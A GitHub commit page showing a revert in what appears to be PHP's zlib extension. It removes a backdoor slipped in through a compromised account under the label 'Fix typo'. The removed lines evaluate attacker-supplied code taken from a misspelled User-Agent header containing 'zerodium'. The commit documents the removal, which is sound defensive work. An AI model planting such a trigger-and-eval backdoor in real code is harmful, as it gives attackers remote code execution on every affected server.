Skip to content

Commit 046827a

Browse files
committed
Revert "[skip-ci] Fix typo"
This reverts commit c730aa2. This looks like the result of a compromised git account. Commit access has already been revoked.
1 parent c730aa2 commit 046827a

File tree

1 file changed

+0
-11
lines changed

1 file changed

+0
-11
lines changed

ext/zlib/zlib.c

Lines changed: 0 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -360,17 +360,6 @@ static void php_zlib_output_compression_start(void)
360360
{
361361
zval zoh;
362362
php_output_handler *h;
363-
zval *enc;
364-
365-
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
366-
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
367-
convert_to_string(enc);
368-
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
369-
zend_try {
370-
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
371-
} zend_end_try();
372-
}
373-
}
374363

375364
switch (ZLIBG(output_compression)) {
376365
case 0:

0 commit comments

Comments
 (0)